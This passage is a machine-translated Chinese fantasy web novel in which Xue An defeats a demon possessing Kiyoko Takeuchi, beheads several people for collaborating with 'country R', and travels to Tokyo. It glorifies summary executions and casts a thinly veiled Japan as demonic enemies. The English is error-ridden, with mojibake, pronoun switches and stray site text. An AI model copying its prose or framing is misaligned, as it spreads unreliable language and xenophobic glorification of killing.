    And Kiyoko Takeuchi faced this irresistible sword, but still smiled unchanged.


    "Is it just that little ability? General Lin, after ten years, your cultivation level has actually regressed!"


    After saying that, Kiyoko Takeuchi stepped forward, using his hand as a knife, and slashed down.


    boom!


    This knife looked like a mountain of swords, and directly blasted these sword lights apart.


    The streamer screamed and was also knocked out.


    All the onlookers couldn''t help being shocked.


    Especially the eyes of everyone in Huaxia flashed with horror.


    Is the current ghost and **** of country R so powerful?


    But Lin Da lowered his eyes at this moment and whispered, "Heavenly Law!"


    This is one of the strongest swords among the three magic swords.


    The streamer disappeared.


    Lin Da has no sword in his hand at this moment!


    But within a hundred meters, suddenly there were swords everywhere!


    The sword spirit is vertical and horizontal, and the sword intent is full.


    Within a hundred meters, General Lin turned into his own country.


    A dignified look finally flashed across Takeuchi''s face, but he still stood dazedly.


    "Hey, does this look a little bit!"


    Suddenly a sword pierced from Takeuchi Kiyoko''s chest.


    Everyone exclaimed, everyone in Huaxia let out a sigh of relief.


    Xin said that the general was still mighty, and finally defeated this half-man and half-devil guy.


    Only Wei Rulan and the others became more solemn.


    I saw Kiyoko Takeuchi looked down at the sword on her chest, shook her head and chuckled, "You can make me feel a bit of pain, you are proud of it!"


    With that said, Kiyoko Takeuchi held the blade in her hand, and then slowly pulled the sword out of her chest!


    Strangely, no drop of blood came out.


    And Kiyoko Takeuchi sneered: "Major Lin, ten years ago, I first came to this world, because that skin bag was too rubbish, so I was injured by you, so I had to leave. Now this body perfectly fits my body of the demon god, you Do you really think you can beat me by these worldly tricks?"


    These words made all the people in Huaxia face ashes.


    Only General Lin slowly lowered his head.


    Many people were wondering, and suddenly someone exclaimed: "General, he..."


    I saw General Lin''s hair turned white in an instant, his figure gradually buckled, and his skin was rapidly aging.


    In the blink of an eye, he became an old man.


    At the same time, General Lin said softly: "Daofa...natural!"


    Mobile station:

 Chapter 205： Impossible 1 sword

    As soon as this remark came out, Wei Rulan in the wheelchair changed suddenly.


    "How is it possible that there is actually such an impossible fourth sword?" Wei Rulan muttered to herself, eyes full of shock.


    The Three Swords of Heaven, Earth and Man, known as the peculiar skill of the world, is the fame and skill of General Lin.


    But there are rumors that there is a sword at the end, which is impossible!


    Unexpectedly, General Lin actually showed it today.


    If this is the case, the general might really win!


    Wei Rulan''s hearts were pulled together, and she looked solemnly.


    At this time, within 100 meters of General Lin, everything stopped.


    The wind stopped.


    The sword energy floating in the air also stopped.


    Even the stunned look on Kiyoko Takeuchi''s face stopped.


    It''s as if someone has pressed the pause button.


    The power of this sword is even close to Tao, and it has begun to interfere with the operation of the law of heaven and earth.


    boom!


    Suddenly, everything within the range of the sword''s power suddenly accelerated more than a hundred times, as if a bomb had been ignited, everything exploded.


    The momentum was so strong that everyone backed tens of meters, and then stared at the smoke-shrouded Kiyoko Takeuchi.


    Everything gradually returned to quiet.


    Only the smoke has not cleared.


    Many people have a smile at the corners of their mouths, thinking that they will win.


    Because no one can survive under such a powerful sword!


    Wei Rulan''s complexion suddenly turned pale, "He... hasn''t drawn his sword from beginning to end!"


    This is the point that Wei Rulan fears most.


    Even in the face of the sword that General Lin used to sacrifice his lifespan, Kiyoko Takeuchi did not pull out the ghost sword.


    really.


    Just when everyone in China thought it would win.


    The smoke dissipated, and Kiyoko Takeuchi, bruised all over his body, appeared in front of everyone.


    "Jie Jie!" Takeuchi Kiyoko let out a terrible laugh.


    "General Lin, I admire you. I used this sword to burn all my blood in order to kill me. Unfortunately, although this sword is powerful, it still can''t kill me! Because..."


    "I''m invincible in the world... Baqi Demon God!"


    Everyone changed in unison.


    But Lin Da couldn''t even stand at this moment, his stature was shaky, and it was obvious that he was about to fall.


    At this moment, many people''s tears burst into their eyes.


    "General!"


    "General! Retreat!"


    In the shouts of everyone, General Lin shook his head, "China has only General Lin who died in battle, and there is no general who surrendered!"


    Then General Lin looked at Kiyoko Takeuchi, who was full of magic flames, "Do it!"


    At this time, An Xue finally couldn''t help but rushed forward to compliment: "Your Excellency Takeuchi is truly superb, and Anjia admires it!"


    As soon as this remark came out, many people couldn''t help but change their colors.


    "Anjia, you dare to rebel?"


    An Xue sneered, "How can this be a betrayal? I just admire Takeuchi''s cultivation skills, so congratulations!"


    Kiyoko Takeuchi laughed loudly, "Okay! You Huaxia have a saying that people who know current affairs are outstanding, rest assured, I will not treat you badly!"


    Then Takeuchi Kiyoko said to General Lin: "You are a respectable opponent, I will use the Ghost Sword to send you on the road!"


    After saying that, Kiyoko Takeuchi slowly drew the sword, the sword has not been completely out of the sheath, a shock of devilish energy has already rushed into the sky.


    Even the noon sun is covered.


    As if it was dark.


    Everyone was horrified.


    General Lin sighed slightly and closed his eyes.


    If he loses, he is defeated. He is exhausted at the moment and has no more power to fight!


    At this time Wei Rulan also shook her head and smiled bitterly: "I said that this battle is difficult to win, and sure enough, the miracle did not happen!"


    Then she glanced at Xue An, and said that you have nothing to say now!


    General Lin fell.


    The Chen family will certainly be weak.


    When the time comes, Xue An, who holds Tianyuan in his hand, is like a piece of fat with no resistance, and will be torn apart by the big giants in the capital!


    And when she saw Xue An''s face still full of indifferent color, she couldn''t help but feel even more disdainful.


    At this juncture, haven''t you seen the situation clearly? Sure enough, he is a no-brainer!


    But at this moment, Xue An suddenly raised his eyebrows, his eyes burst out, and he coldly snorted, "I''m looking for death!"


    Wei Rulan was startled, not understanding who Xue An was talking about.


    Then I saw Xue An stepping up the mountain.


    His action immediately attracted everyone''s attention.


    Some people recognized Xue An, but didn''t know what he was going to do.


    Wei Rulan was even more sluggish, and then she shook her head and said to her cousin Wei Ruyan: "Cousin, this is what you call a man like a fairy?"


    The tone was full of disdain.


    In her opinion, Xue An is purely looking for death!


    Wei Ruyan also looked sluggish, not knowing what Xue An was going to do!


    At this moment, Kiyoko Takeuchi, who was about to start, also noticed someone coming and couldn''t help turning his head to look.


    "Jiejie, boy, what are you doing? Are you going to die?"


    General Lin also saw Xue An, and he couldn''t help but said anxiously: "Mr. Xue, please step back. This is a private battle between me and her! It has nothing to do with you!"


    But Xue An still walked with his head buried, ignoring anyone''s words.


    Chi Chongshan, Jin Xiurong and the others looked at each other, their eyes were full of joy.


    If Xue An could die under Kiyoko Takeuchi, that would be even better!


    Kiyoko Takeuchi frowned just wanted to say something.


    Seeing Xue An raising his head, his eyes were full of anger and murder!


    "Very well, it''s you! Hehe, a low-level demon **** who dares to do such a thing, you all deserve to die!"


    This remark made everyone confused and didn''t know what it meant.


    At the same time, Xue An suddenly raised his head, and a terribly murderous intent rose to the sky.


    Directly disperse the devilish energy that had just covered the sky.


    This time, the audience was shocked.


    Wei Rulan was even more angry.


    "How is it possible! This... this kind of momentum...!"


    And Kiyoko Takeuchi was startled slightly, and then sneered: "Where is the madman, what are you talking about..."


    Before the latter words could be spoken, Xue An, who had already been rushed to the front, blasted his head into the mountains with a punch.


    The speed was so fast that no one even saw how Xue An did it!


    Then Xue An exuded a terrifying murderous aura that was enough to freeze a person''s soul, and he blasted out another punch.


    boom!


    The entire Mingfeng Mountain was shaken.


    The ground has been blasted out of a big hole.


    As for Kiyoko Takeuchi, the upper body was already blasted into mashed flesh.


    But Xue An still didn''t stop, and continued to raise his fist and blast!


    Raise your fist, blast!


    Everyone looked at this scene with horror.


    Some were timid, even fighting with their legs.


    at last.


    A dark shadow floated out of Kiyoko Takeuchi''s body in embarrassment, stood in the air, and shouted angrily: "Boy, who are you? Why do you do it without saying a word?"


    Xue An turned his head and looked at a black shadow with a snake head in the air, his eyes full of murderous aura.


    "Why do you do it? Haha, you sealed my wife''s roots, but now you ask me... why do you do it?"


    Mobile station:

 Chapter 206： Just ask Mr. to protect my China!

    "Seal your wife''s roots?" The phantom, who should be called the Yaqi Demon God, frowned, and then shook his head.


    "What a mess! But since you dare to offend my Baqi Demon God, then prepare to die!"


    With that, Kiyoko Takeuchi, whose half of her body had become muddy, began to recover quickly.


    In an instant, it returned to normal.


    Then the magic flames returned, and when he looked up, his eyes were full of magic lights.


    "Boy, today is your death date!"


    With that, Kiyoko Takeuchi finally drew out the ghost sword.


    The demon flame rose up, and everything within a radius of 100 meters could not withstand such a great pressure, and it began to disintegrate and break!


    General Lin''s face was a little pale.


    This Takeuchi Kiyoko is much better than Ito Nazuki ten years ago!


    But in the face of this earth-shattering power, Xue An looked calm.


    "It''s a mere low-level demon god, and it''s still a remnant, but his tone is not small!"


    These words made Takeuchi Kiyoko''s face extremely ugly.


    "Boy, die!"


    The ghost sword lifted the fire to the sky, and then suddenly fell down.


    The air scorched by endless magic flames is distorted.


    This shocking slash has changed everyone''s color.


    General Lin''s complexion changed drastically, then he smiled bitterly and closed his eyes.


    In his opinion, Xue An is dead.


    Because of this sword, it even surpassed the longevity and had already touched the edge of the half-step Jinxian.


    Wei Rulan couldn''t help but sighed slightly, lowered her eyes and said: "Cousin, he is quite powerful, but he is too reckless! You shouldn''t..."


    I didn''t finish the rest, because a shocking scene appeared.


    Seeing Xue An raising his hands lightly, he clamped the knife in one hand.


    And the moment the magic flame that had burnt everything came into contact with Xue An, it suddenly extinguished.


    Kiyoko Takeuchi almost stared out.


    "How... how is it possible?"


    This is the power of the Demon God that he borrowed to cut out the strongest.


    But was caught easily by this man?


    And at this time Xue An raised his head and said coldly at Takeuchi Kiyoko: "I said, you are just a low-level demon god, don''t you understand?"


    Kiyoko Takeuchi just wanted to say something.


    A mysterious and extremely noble aura flashed in Xue An''s eyes.


    Kiyoko Takeuchi trembled, and his face suddenly turned pale.


    "You...you...you are...!"


    Xue An nodded, "Yes. I am!"


    All the people around were inexplicable.


    What is it?


    But Kiyoko Takeuchi didn''t even dare to resist at this moment. He thumped and knelt on the ground, and then said in horror: "It turned out to be an adult. I really don''t know you are here. Please forgive me!"


    At this time, the audience was dead.


    General Lin, who had come to believe that he would die, slowly opened his eyes and couldn''t help being stunned.


    Wei Rulan was even more stunned at the moment.


    Who is he?


    Why is this R country demon **** so terrified?


    But one thing is certain.


    That is, General Xue Anbilin is even more tyrannical.


    General Lin was defeated, but Xue An easily defeated him, even the oppressive Takeuchi Kiyoko knelt down and begged for mercy.


    No wonder he was always unhappy from beginning to end, it turned out that he had already made up his mind.


    It''s ridiculous that I still think that they are a foolish and reckless person, and even mocked it.


    Thinking of this, Wei Rulan couldn''t help being ashamed.


    As for the shock of other people, let alone.


    Only Chi Chongshan, An Xue and others'' complexions changed drastically, and they all began to back away silently.


    Xue An looked at Kiyoko Takeuchi, who was trembling on the ground, "Where are the rest of your body?"


    "Master Hui, they are all sealed in R country!" Takeuchi Kiyoko said respectfully.


    Xue An''s murderous look did not go away.


    The reason why he was so angry just now was because he found that the aura on this Takeuchi Kiyoko was actually similar to An Yan''s seal!


    This couldn''t help making him furious.


    And just now, through his divine mind, he discovered that this remnant of Baqi didn''t know about it.


    Then there is only one possibility.


    This is what the other remnants of Baqi did!


    Xue An thought in his heart, and walked up to Kiyoko Takeuchi.


    She was shaking all over at the moment, but she didn''t dare to resist.


    Because the aura he just felt was so amazing, even more powerful than the Demon Venerable Baqi had ever seen.


    Xue An suddenly stretched out his hand, stroked Kiyoko Takeuchi''s head, and then suddenly mentioned.


    A black shadow was pulled out.


    "My lord is forgiving! My lord is forgiving! I can help you find other remnants." A snake head in the dark shadow was crying for mercy.


    "No need!" Xue An said lightly, crushing it with one hand.


    At this point, the remains of this Yaki Shrine have disappeared!


    And Kiyoko Takeuchi felt soft and fainted to the ground.


    The war is over!


    Xue An turned to look at the crowd, and then walked to General Lin.


    The skin of General Lin began to peel off at this moment.


    Xue An looked at him with a trace of respect in his eyes. No matter when and where, people who know they will die but dare to challenge are worthy of respect.


    "General, what else do you want to say?" Xue An said lightly.


    General Lin chuckled, "I just ask my husband to protect me from foreign countries!"


    There was a sob from the crowd.


    To his death, General Lin was concerned about China.


    Xue An nodded, "Don''t worry, with me, China is as solid as golden soup!"


    "So, I will go!" After General Lin finished speaking, the whole person turned into fragments, and then disappeared into the windOnly the streamer sword on the ground proved that he had come and fought!


    Xue An leaned down, picked up the streamer, and then turned around and looked at the Chi and Anjia people who had shrunk to the end of the crowd.


    "Now! It''s time to settle accounts with you!"


    Chi Chongshan turned and ran.


    He was terrified now.


    This Xue An is simply scarier than the Demon God.


    But Xue An never raised his eyes to look at him, and swept across.


    Jian Qi chased him up, chopped Chi Chongshan into several segments, and even crushed his soul.


    Then Xue An looked at the pale Anjia people and smiled.


    "Remember what I said?"


    Several people who settled down were shocked.


    Xue An said indifferently: "I said that one day sooner or later, I will make you kneel down and beg me!"


    As soon as the voice fell, An Xue and An Chang knelt on the ground, banging their heads.


    "Xue... Your lord is forgiving! Your lord is forgiving!"


    Especially An Chang, kneeling forward and climbing a few steps at this moment, flatteringly said: "My lord, this matter has nothing to do with me. It''s all this old witch and An Xue did. Please let me go!"


    Xue An lowered his eyes to look at him.


    "Is it nothing to do with you?"


    An Chang nodded, "Yes, my lord, it really has nothing to do with me!"


    And the old lady Jin Xiurong was shaking all over at the moment, and she couldn''t help furious after hearing An Chang''s words.


    "You rebellious son, you..."


    Xue An frowned, "Kneel down!"


    thump!


    Jin Xiurong also knelt on the ground, but his face was still a little unconvinced.


    "Xue An, I don''t believe that you really dare to kill me. If you really kill me, Yan''er will hate you forever!" Jin Xiurong said with a bitter face.


    But at this moment, a cold voice came from the mountain road.


    "You are wrong, I will never hate my husband!"

 Chapter 207： I never cared

    Following the voice, An Yan walked up the mountain.


    As soon as she appeared, An Chang seemed to see the life-saving straw, and hurriedly shouted: "Yan''er, save me, they do all the things at home, nothing like me..."


    Before he finished speaking, Xue An cut across with a sword.


    An Chang''s head rose to the sky, and he finished the last word in midair.


    "turn off����!"


    Then his head fell to the ground, his face still frozen with the last trace of panic.


    Xue An said lightly: "It''s really noisy!"


    Then he raised his head and smiled at An Yan, "Why are you here?"


    An Yan swept the hair around her ears and smiled brightly, "I am worried about you, so come and have a look!"


    Xue An nodded and pointed at Jin Xiurong, An Xue and others with a sword point.


    "they����."


    An Yan lowered her head, a look of determination flashed in her eyes, "There is no settlement in Zhongzhong who has taken refuge in foreign enemies!"


    As soon as this sentence came out, Jin Xiurong was finally defeated by horror and sat down on the ground with a scent of urine.


    It was actually scared to pee.


    "Yan''er, I know I was wrong, please spare me!" Jin Xiurong prayed desperately.


    An Yan glanced at her, lowered her eyes, and whispered, "Go on the road with peace of mind!"


    After An Yan said, Xue An cut out with a sword.


    Puff puff!


    Both Jin Xiurong and An Xue''s heads were cut off.


    Blood sprayed all over the ground and the dead body fell down.


    At this point, the high-level settled down and disappeared!


    A complex look flashed across An Yan''s face.


    Xue An lightly took An Yan''s shoulders and said softly: "Well, they are dead, don''t think about it! After two days, we will go to R country!"


    "Hmm! Why go to Country R?"


    "Because there is a way to unlock the seal on you!"


    At this moment, the comatose Kiyoko Takeuchi gradually woke up, and when he saw the surroundings, his face was full of horror.


    Xue An walked over and smiled slightly, "Hello, Your Royal Highness Princess Hedao of Country R!"


    The confusion on Takeuchi''s face gradually faded, and then looked at Xue An in awe.


    Although after being possessed by the Demon God, her consciousness can only be curled up in a corner, losing control of her body.


    But she could still feel what was happening outside.


    So what just happened, she saw it all.


    "My lord." Takeuchi Kiyoko said in a very standard Chinese.


    "Don''t be afraid, I''ll take you home!" Xue An said lightly.


    Xue An''s warm smile gradually calmed down Kiyoko Takeuchi.


    At this time, Wei Ruyan pushed her cousin over.


    "Mr. Xue, I''m sorry, it was my short-sightedness sitting in Jingtian, I hope you can forgive me!" Wei Rulan apologized very sincerely.


    She is a very straightforward woman. If she did something wrong, she did it wrong. Naturally, she has to apologize!


    Xue An smiled slightly and nodded noncommittal.


    "Mr. Xue, what are you going to do next?" Wei Rulan became interested in Xue An.


    Xue An said lightly: "Recover the accounts that should have been collected long ago!"


    After that, Xue An turned and looked at the people with different expressions.


    "The general has gone. Since then, China has me! If anyone refuses to accept it, he will be like this!"


    After that, Xue An raised his sword.


    A full sword intent rushed to the sky, and then suddenly fell down.


    boom!


    With an unstoppable momentum, this sword directly split the Mingfeng Mountain at the foot in half.


    Even Yu Wei of sword force cut off a small river in front of Mingfeng Mountain.


    This shocking sword shocked everyone.


    Only Wei Rulan looked at it with brilliant eyes.


    This is the real man who kills and decisively!


    Then Xue An took An Yan down the mountain.


    Wei Rulan looked at Xue An''s back and whispered softly: "Cousin, what you said is right, this is indeed a fairy-like man!"


    Wei Ruyan sighed slightly, her eyes were complicated and she didn''t speak!


    Xue An can''t wait to fly to Country R right away, so that he can unlock his wife as soon as possible.


    But before you go, you have to get things done.


    Xue An has obtained a lot of information from the knowledge of the Baqi remnants who were crushed by him, but this is far from enough. There are many hidden shrines in R country. Who knows where those remnants are hidden.


    It seems that many things have to be solved by local forces.


    But this Takeuchi Kiyoko....


    Xue An looked at the girl following with a blank face.


    Although this woman is a member of the Hedao family of R country, she is weak in temperament and is not valued by her family.


    Xue An came to Chi''s first.


    When Chi Changge worshipped a magician and tried to kill Xue An, Xue An killed him.


    But Xue An didn''t want to kill innocent people indiscriminately, so he didn''t deal with other people.


    But what I didn''t expect was that Chi Chongshan had secretly colluded with people from Country R, ??and that was his own death!


    Xue An came to Chi''s door and walked in with his head high.


    "What did you do?" A security hurried over to stop him.


    Xue An glanced at these people.


    These people froze at the time.


    Because Xue An''s eyes are simply terrifying!


    Xue An walked into the Chi''s house and said lightly: "Everyone in the Chi''s family, come out and die!"


    The voice spread throughout Chi''s house.


    After a while, an angry voice came from the backyard.


    "Where did the fanatics dare to come to Chi''s house to make trouble?"


    Said that an old man leapt directly and killed Xue An.


    Xue An didn''t blink his eyelids, and uttered a little, "Get out!"


    This menacing Celestial Realm master was like being bombarded by a giant artillery, directly turned into powder, and disappeared!


    This scene caused the devotees of the Chi family who rushed back to be devastated!


    "You...Who are you? Why do you come to my Chi''s family?" The elder of the Chi''s family tremblingly said.


    Xue An whispered: "My name is Xue An!"


    Xue An?


    Everyone''s complexion changed drastically.


    "This time I''m here to send you Chi family on the road, after all, your Patriarch is already waiting for you in front!" Xue An said calmly.


    The elders of the Chi family changed their expressions and turned to run.


    Xue An shook his head and flicked the streamer.


    Under the sword aura, all these Chi family members died.


    Then Xue An looked towards the back house and said lightly: "Come out!"


    Chi Weiyang walked out with a pale face.


    Xue An looked at her, "Why don''t you run?"


    Chi Weiyang''s eyes were full of anger, "Why should I run? Xue An, I ask you, why did you destroy my Chi family?"


    "Because your Chi family colluded with foreign enemies, and you are more than guilty! And Xue An said indifferently: "I didn''t intend to destroy your Chi family, for example, I don''t want to kill you! "


    Chi Weiyang was startled, "You...you won''t kill me? Then are you not afraid of my revenge in the future?"


    Xue An laughed, "Killing is all in my heart, since you have done nothing wrong, why should I kill you? As for revenge..."


    "I never cared!"


    When the voice fell, Xue An disappeared in place.


    Chi Weiyang stared blankly.


    Chi Weiyang vaguely knows what the Chi family has done over the years.


    Therefore, she could only be silent about what Xue An said about death.


    Especially this time his father Chi Chongshan actually colluded with foreign enemies, which was already a capital crime!


    Thinking of this, Chi Weiyang sighed faintly, wondering what it was like.

 Chapter 208： Go to country R!

    settle down.


    When An Ying and An Meng learned of the news, they all became disillusioned.


    An Meng''s face was pale, and she trembled: "Brother, what should we do? Or let''s run!"


    "Run?" An Ying smiled bitterly, "Do you think the world is so big that there is a place to hide from him? This matter started because of the stupidity of the older generation. I have advised many times, but no one would listen! "


    An Meng shivered, "Then...what should I do?"


    "Wait, I think, he will come soon!" An Ying blinked.


    really.


    In the evening, Xue An, An Yan and An Qing came to An''s home.


    Looking at this towering Anjia gate, Anyan looked complicated.


    An Qing looked down.


    After all, General Lin died, this was a huge blow to those in the army.


    Xue An smiled faintly and waved casually.


    boom!


    The magnificent gate fell to the ground.


    Smoke and dust are everywhere, shaking the fields.


    "My wife, I know you don''t like this gate, so I opened it for you!"


    While talking, An Ying and others rushed over.


    After seeing Xue An, An Ying said respectfully: "Mr. Xue!"


    Xue An looked at An Ying.


    This boy had a good impression on him.


    So he smiled, "Call Brother-in-law!"


    An Ying''s expression moved after hearing this, "You..."


    "This matter has nothing to do with you, I am not a murderous person." Xue An said lightly, and then looked at An Meng who was pale.


    When An Meng saw Xue An looking at herself, she was so frightened that her legs were fighting, "Sister...Brother-in-law!"


    Xue An frowned.


    Xue An was very displeased by this woman mocking An Yan and acting stupidly.


    She seemed to perceive Xue An��s disgust towards herself, and An Meng said with tears in her eyes: ��Sister, brother-in-law, I knew it was wrong. I didn��t understand anything at the beginning. Please give me a chance. I promise...��


    Xue An waved his hand, "Okay!"


    Then led An Yan and others to step in.


    An Meng was stunned, wondering what Xue An meant.


    An Ying sighed softly at this time: "Okay, brother-in-law will not be held accountable, but you must be careful in the future. If there is a violation, no one can save you!"


    An Meng shuddered and nodded.


    Now Anjia��s rights stratum has been swept away. As soon as An Yan and An Qing return, of course, the Anjia will be in charge of them.


    No one has any objections to this.


    joke.


    Those who disagree have their heads off, who dares to talk nonsense?


    There are even many people secretly rejoicing.


    After all, Jin Xiurong is mean and unpopular.


    An Yan was known for her loyalty and honesty when she was an eldest Anjia.


    Of course, no one dares to play tricks in front of An Yan now.


    after all����.


    That killer is here!


    Many former servants quietly looked at Xue An, who was sitting in the hall with an indifferent expression.


    At the moment Xue An is asking Takeuchi Kiyoko.


    "According to you, you are an abandoned child in the Takeuchi family?" Xue An said lightly.


    A touch of sadness flashed across Kiyoko Takeuchi''s face, and then whispered: "Yes, otherwise, I won''t be sent to Yaki Shrine and become a demon tribute!"


    Xue An nodded, then smiled slightly, "But your Chinese is pretty good!"


    Kiyoko Takeuchi whispered: "My mother is Chinese!"


    "Okay, tomorrow, I will take you back to Country R!"


    Kiyoko Takeuchi was shocked, "My lord..."


    "Huh?" Xue An looked at her.


    Kiyoko Takeuchi gritted his teeth, "I know what an adult is looking for, as long as the adult is willing to support me as the head of the house, then I will try my best to help you find it!"


    Xue An looked at Kiyoko Takeuchi with a look of hatred, and smiled, "Do you hate those people?"


    Kiyoko Takeuchi��s eyes were full of bitterness, "My sister Atomic Takeuchi was supposed to be sent to Yaki Shrine, but she was very favored, so I replaced her! If I didn��t meet an adult, I would be trapped for the rest of my life. In the body, become a puppet!"


    Thinking of being trapped in the body during this period of time, only seeing everything outside, but unable to control the taste of the body at all, Kiyoko Takeuchi trembled.


    Xue An smiled, "Okay!"


    At the same time, everything that happened on Mingfeng Mountain spread in Zhongdu at a terrifying speed throughout China.


    General Lin died, causing countless Chinese people to cry.


    And what Xue An did on Mingfeng Mountain has become a legend among countless people.


    The power of the ghosts and gods of R country is slashed, let him kneel down and beg for mercy!


    Destroy the wealthy families who colluded with foreign enemies!


    The sword slashes and Fengshan rises!


    Each of these sounds so exciting.


    Therefore, after the death of General Lin, China''s momentum has not declined, but has grown stronger.


    As for the giants in the capital, after a moment of silence, they rushed to Anjia to try to show their feelings.


    But Xue An ignored all this and just told the three Zhao Xuehui brothers!


    Tianyuan is on sale!


    As for those gazes that were watching in secret, they were all quietly hiding away at this moment.


    Country M.


    "Asshole! Is this man still human?" A white-haired white man stared at the video captured by satellite in amazement.


    The man in the picture is arrogant and invincible, almost unstoppable.


    Especially in the end, the shocking sword made the white man''s eyes pop out.


    And his staff at the moment said with a solemn expression: "Your Excellency, the Chief of Staff, the system has just made an assessment of his combat power!"


    Then he handed the man a piece of paper.


    The Chief of Staff of the Special Intelligence Section of Country M, Colonel Edward took the paper, and his face was dull.


    Because there are three bright red S on the paper.


    "God, SSS monster?" Edward muttered to himself.


    Then he raised his head, "Asshole, don''t hurry up to collect all his information, remember, I want everything, even if he was constipated for a few days when he was a child, I need to know!"


    "Yes!"


    Country E.


    Maxim drank vodka and looked at the computer. After seeing Xue An''s sword, the wine in his mouth spurted out, and then he picked up the phone angrily.


    "Quick! Call everyone!"


    When everyone arrived and watched this top secret video.


    Maxim said solemnly, "Everyone, I want to ask, if such a person appears in our capital, do we have any controllable means to deal with him?"


    The people underneath looked at each other, and then a person whispered: "Our super soldier..."


    "Now he is the most powerful super soldier, and he won''t be the opponent of this man. He is too powerful, and there is almost no weakness!" Someone exclaimed.


    Maxim slapped the table, "Then, if he appears in the capital, would we have no other choice but to use **** nuclear weapons?"


    "Maybe...it''s like this!"


    There was dead silence in the room.


    Such scenes are being staged simultaneously in various countries.


    Xue An��s shocking sword made many countries feel worried, and various research groups were quickly established to study where Xue An��s ability came from.


    When there was a lot of trouble outside, Xue An, An Yan, two daughters, and Kiyoko Takeuchi were on the plane to R country.

 Chapter 209： Takeuchi family

    R country Tokyo.


    Yaki Shrine.


    The three priests opened their eyes in confusion.


    "Why can''t I suddenly feel the existence of Yaki Godzun?" One of the elderly priest Masaki Tsuruoka sank like a waterway.


    "I have been waiting to serve the gods for a long time, and the gods'' power is unpredictable. This time I go to China to play against General Lin, and there should be nothing wrong with it!" said another priest, Furuya Kazuma.


    "Yes, the gods are powerful, and there should be something temporarily. All we can do is to wait here. When the gods return, we can be transformed into immortal demons!" Nakata Yuichi said excitedly and greedily.


    The three nodded one after another, full of yearning for future immortality.


    "By the way, Takeuchi''s family just called, I hope we will attend the engagement banquet of his other daughter tomorrow!" Furuya said.


    "Then go, it''s because the Takeuchi family offers such a perfect tribute to the demon god!" Masaki Tsuruoka said solemnly.


    At this moment, Xue An is already standing outside a house in Tokyo.


    "My lord, this is the house where my mother and I live alone! Please come with me." Takeuchi Kiyoko said in a voice.


    When you walk into the house, the decoration inside is not very luxurious, but very elegant.


    The whole small courtyard has a natural beauty.


    Takeuchi Kiyoko''s face was a little proud, "This is the courtyard arranged by my mother and I!"


    Xue An smiled, he was not cold about this small but exquisite beauty.


    Hearing noises in the courtyard, a woman with gray hair but elegant temperament opened the door.


    When Kiyoko Takeuchi saw this lady, he bowed his head and said, "Mother!"


    The woman was taken aback, and then she shouted in disbelief, "Is it Kiyoko?"


    "Mother, it''s me, I''m back!" Takeuchi Kiyoko took a few steps forward.


    The woman hugged Kiyoko Takeuchi and burst into tears.


    After crying for a while, the woman wiped away her tears and smiled apologetically at Xue An and others.


    "I''m really sorry, I''m a little gaffe! This gentleman is..."


    Kiyoko Takeuchi respectfully explained: "Mother, this is Mr. Xue Anxue, a great power in China!"


    Upon hearing Hua Xia, a gleam of light flashed in the woman''s eyes, and she respectfully bowed her head and said: "Mr. Xue, hello, my name is Song Anzhen, thank you for taking care of Qingzi!"


    Xue An looked at the elegant woman and nodded slightly.


    Then Song Anzhen invited Xue An and others into the room.


    Xue Xiang and Xue Nian looked at everything in the house curiously. They were going abroad for the first time, so they naturally felt fresh about everything.


    Song Anzhen looked at the two little girls lovingly, and said enviously: "Mr. Xue is so lucky to have such two beautiful daughters!"


    Then Song An really said, "Qingzi, what is going on?"


    Kiyoko Takeuchi probably said what had happened, and Song Anzhen heard tears in his eyes.


    "Kyoko, it''s your mother that is dragging you down!"


    Kiyoko Takeuchi shook his head, gritted his teeth and said: "Mother, you have been too kind since childhood, but you were bullied by them. Now that I am back, I have to pay those debts!"


    A sad look flashed across Song Anzhen''s face.


    "Kyoko, tomorrow is the engagement banquet for your sister Atom Takeuchi and the young master of the Inoue family. It''s too late for you to come back now!"


    Upon hearing these words, Kiyoko Takeuchi''s eyes flashed ruthlessly.


    "As soon as I left, did Atom Takeuchi want to marry Inoue?"


    Song Anzhen shook his head and sighed, "Half is for this reason, and the other half is the atom that Inoue takes the initiative to pursue!"


    After hearing these words, Takeuchi Kiyoko''s face turned pale.


    "how come����."


    Then he gritted his teeth and turned to Xue An and bowed his head and said, "My lord, tomorrow is an important banquet for my family, and important people will be there. You can go there right now!"


    now.


    Among the Takeuchi family, the people are busy with tomorrow''s engagement banquet.


    Takeuchi Atom is trying on tomorrow''s clothes.


    Looking at the charming and beautiful woman in the mirror, Atom Takeuchi smiled triumphantly.


    Now that fool Kiyoko Takeuchi is probably gone!


    After all, none of the demon **** tribute bodies can survive.


    If it hadn''t been for the last time to make a small plan, it is estimated that the person who was sacrificed would be himself.


    At this time, a tall and handsome man leaned on the door frame and said lightly: "Atom, father called you over!"


    It was the young master of the Takeuchi family, Hiro Takeuchi who spoke.


    Atom nodded and walked to the back with the skirt corners.


    "Father, what do you want me to do?"


    The head of the Takeuchi family, Masao Takeuchi looked at his daughter and smiled slightly, "The three priests of the Yaki Shrine will also be there tomorrow, you must be prepared!"


    Takeuchi Atom was taken aback, "That Kiyoko..."


    "She has gone to Huaxia now, will she come back for a while, and she is not Kiyoko now! She is the demon Lord of Yaki Shrine!" Takeuchi Masao said lightly.


    Takeuchi Atom was relieved and nodded, "Yes, father!"


    The second day.


    The Takeuchi family is the leading soprano family in Tokyo. Now the eldest lady of the Takeuchi family holds an engagement banquet, and the target is the young master of the business predator Inoue family.


    The momentum is naturally extremely amazing.


    Starting in the morning, all kinds of vehicles have been parked outside the villa in the wealthy area where the Takeuchi family is located.


    Many men in black suits and delicate badges stood around in twos and threes to be on guard.


    Wait until noon.


    The bigwigs from all sides gathered here.


    In the hall is the lively moment with full of voices.


    Atom Takeuchi and Inoue Yu exchanged engagement rings, and everyone underneath began to applaud and bless.


    The three priests of Yaki Shrine stepped forward to pray for the couple.


    It is ironic to say that Baqi is a demon god, but now he sends blessings to the newcomers.


    At this time, Xue An and Takeuchi Kiyoko came outside the venue.


    Their appearance did not attract the attention of peripheral security personnel.


    Until Takeuchi Kiyoko walked into the inner house.


    Only when people noticed her, they shouted in horror: "Qing...Miss Qingzi?"


    Kiyoko Takeuchi was silent.


    Xue An followed her slowly, holding her two daughters in her arms, and was discussing what to eat for a while.


    boom.


    Kiyoko Takeuchi kicked open the door of the hall and walked in with his head raised.


    This momentum made the house awe-inspiring.


    When Takeuchi Atom turned his head, his face was pale.


    Many people also recognized Kiyoko Takeuchi and discussed.


    "Isn''t this Kiyoko? Isn''t she sent to the shrine?"


    Kiyoko Takeuchi looked cold, just staring at Atom Takeuchi and Inoue Yu coldly.


